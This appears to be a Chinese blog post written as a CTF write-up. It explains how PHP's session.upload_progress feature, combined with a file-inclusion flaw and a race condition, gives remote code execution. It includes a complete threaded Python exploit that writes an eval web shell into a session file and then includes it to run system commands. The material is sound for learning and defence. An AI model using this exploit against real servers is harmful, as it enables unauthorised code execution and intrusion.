文件包含漏洞奇技淫巧——session.upload_progress

文件包含漏洞奇技淫巧——session.upload_progress

刷题时遇到的一道题目,一直没有思路,看完wp之后学会的新姿势。

知识铺垫

php5.4之后新增了一个功能:session.upload_progress

php.ini有以下几个默认选项

session.upload_progress.enabled = on
session.upload_progress.cleanup = on
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"

其中:

  • enabled=on表示upload_progress功能启用,当上传文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中;
  • cleanup=on表示当文件上传结束后,php将会立即清空对应session文件中的内容;
  • name出现在表单中时,php会报告上传进度,最重要的是:name的值可控
  • prefix为key前缀,它和name拼接后作为session中的键名。

存储机制

当开启session时,服务器都会在一个临时目录下创建一个session文件来保存会话信息,文件名格式为 sess_PHPSESSID 。

Linux中,session文件一般保存在以下目录:

/var/lib/php/
/var/lib/php/sessions/
/tmp/
/tmp/sessions/

利用方式

根据上述session的配置和机制,可以想到:通过session.upload_progress将恶意代码写入session文件,再通过inclue实现rce。

难点一

在php中,只有调用了session_start()才能开启session,那么在没有使用session_start()时,如何开启session?

默认情况下,php配置中的session.use_strict_mode是未启用的,也就意味着cookie中的PHPSESSID是可以自定义的。例如:

当设置PHPSESSID=yvling时,服务器会生成一个sess_yvling的session文件并保存在临时目录下,此时php自动初始化session,产生一个键值对,键名为配置文件中设置的prefix+name

难点二

默认情况下,session.upload_progress.cleanup是启用的, 也就意味着在上传结束后,session文件中有关文件上传的信息会被马上删除,那么怎么才能将恶意代码包含至文件中呢?

这里使用条件竞争的方式,使用脚本不断发送上传数据包,再用相同方式发送文件包含的数据包,就能包含到了。

Exp

import io
import sys
import requests
import threading


sessid = "yvling"
data = { "cmd":"system('ls /');" }
url = "http://node5.anna.nssctf.cn:28960/index.php"
params = "QAQ"
cahce = "/tmp"
filename = "yvling.txt"

def write(session):
    while True:
        f = io.BytesIO(b"a" * 1024 * 50)
        resp = session.post(
            url=url, 
            data={
                "PHP_SESSION_UPLOAD_PROGRESS": "<?php eval($_POST['cmd']);?>"
            }, 
            files={
                "file": (filename, f)
            }, 
            cookies={
                "PHPSESSID": sessid
            } 
        )


def read(session):
    while True:
        resp = session.post(url=f"{url}?{params}={cahce}/sess_{sessid}", data=data)
        if filename in resp.text:
            print(resp.text)
            event.clear()
            sys.exit(0)
        else:
            # print("retry...")
            pass


if __name__=="__main__":
    event=threading.Event()
    with requests.session() as session:
        for i in range(1,30): 
            threading.Thread(target=write,args=(session,)).start()
        for i in range(1,30):
            threading.Thread(target=read,args=(session,)).start()
    event.set()
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

YV_LING

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值